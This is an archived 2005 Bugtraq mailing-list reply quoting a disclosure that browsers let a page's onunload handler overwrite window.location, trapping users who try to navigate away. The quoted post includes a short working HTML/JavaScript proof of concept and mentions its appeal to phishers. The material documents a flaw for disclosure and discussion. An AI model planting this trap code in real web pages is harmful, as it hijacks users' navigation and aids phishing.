Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | RE: unload event in ie/mozilla/opera |
|---|---|
| Date: | Wed, 24 Aug 2005 13:56:27 -0700 |
What's worse, some browsers interpret "close the browser" to trigger the onunload() method, and that's just wrooong. David Gillett
-----Original Message----- From: Tobias Boonstoppel [mailto:boonstoppel@gmail.com] Sent: Tuesday, August 23, 2005 7:10 AM To: bugtraq@securityfocus.com Subject: unload event in ie/mozilla/opera in nearly all browsers* you can overwrite the window location in the "onunload" event. that means you can "keep" the user on a site. when you type a new url in the address-bar, javascript overwrites it. thats a paradies for fishers, porn-site-hoster etc...... here the html/javascript code: <html> <head> <script> window.unlock = false; window.onunload=function() { if(!window.unlock) window.location.href='unload.html'; } document.onmousedown=function() { window.unlock = true; } </script> </head> <body> <a href="?link=1">Link 1</a><br> <a href="?link=2">Link 2</a><br> <a href="?link=3">Link 3</a><br> <a href="?link=4">Link 4</a><br> </body> </html> cheers Tobias Boonstoppel ps: * i testet it on firefox (linux / window) opera (linux) and internet explorer.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | unload event in ie/mozilla/opera, Tobias Boonstoppel |
|---|---|
| Next by Date: | Re: Mercora IMRadio 4.0.0.0 Discloses Passwords to Local Users, 3APA3A |
| Previous by Thread: | unload event in ie/mozilla/opera, Tobias Boonstoppel |
| Next by Thread: | Re: unload event in ie/mozilla/opera, Drew Haven |
| Indexes: | [Date] [Thread] [Top] [All Lists] |